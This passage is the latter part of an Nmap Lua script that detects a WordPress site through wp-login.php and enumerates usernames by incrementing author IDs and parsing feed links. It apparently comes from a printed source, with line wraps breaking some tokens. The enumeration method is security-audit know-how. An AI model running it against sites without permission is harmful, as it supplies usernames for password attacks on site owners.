    elseif req.status == 200 then
      -- Users with no posts get a 200 response, but the name is in an
RSS link.
      -- http://seclists.org/nmap-dev/2011/q3/812
      local _, _, user = string.find(req.body, 'https?://.-/author/
([^/]+)/feed/')
      return user
    end
  end
  return false
end

---
--Returns true if WP installation exists.
--We assume an installation exists if wp-login.php is found
--@param host Host table
--@param port Port table
--@param path Path to WP
--@return True if WP was found
--
local function check_wp(host, port, path)
  stdnse.debug2("Checking %swp-login.php ", path)
  local req = http.get(host, port, path.."wp-login.php",
{no_cache=true})
  if req.status and req.status == 200 then
    return true
  end
  return false
end

---
--Writes string to file
--Taken from: hostmap.nse
--@param filename Target filename
--@param contents String to save
--@return true when successful
local function write_file(filename, contents)
```

```
  local f, err = io.open(filename, "w")
  if not f then
    return f, err
  end
  f:write(contents)
  f:close()
  return true
end


---
--MAIN
---
action = function(host, port)
  local basepath = stdnse.get_script_args(SCRIPT_NAME .. ".basepath")
or "/"
  local limit = stdnse.get_script_args(SCRIPT_NAME .. ".limit") or 25
  local filewrite = stdnse.get_script_args(SCRIPT_NAME .. ".out")
  local output = {""}
  local users = {}
  --First, we check this is WP
  if not(check_wp(host, port, basepath)) then
    if nmap.verbosity() >= 2 then
      return "[Error] Wordpress installation was not found. We
couldn't find wp-login.php"
    else
      return
    end
  end

  --Incrementing ids to enum users
  for i=1, tonumber(limit) do
    local user = get_wp_user(host, port, basepath, i)
    if user then
      stdnse.debug1("Username found -> %s", user)
      output[#output+1] = string.format("Username found: %s", user)
      users[#users+1] = user
    end
  end

  if filewrite and #users>0 then
    local status, err = write_file(filewrite,  table.concat(users, "\
n"))
    if status then
      output[#output+1] = string.format("Users saved to %s\n", file-
write)
    else
      output[#output+1] = string.format("Error saving %s: %s\n", file-
write, err)
    end
  end

  if #output > 1 then
    output[#output+1] = string.format("Search stopped at ID #%s. In-
crease the upper limit if necessary with 'http-wordpress-
users.limit'", limit)
    return table.concat(output, "\n")
  end
end
```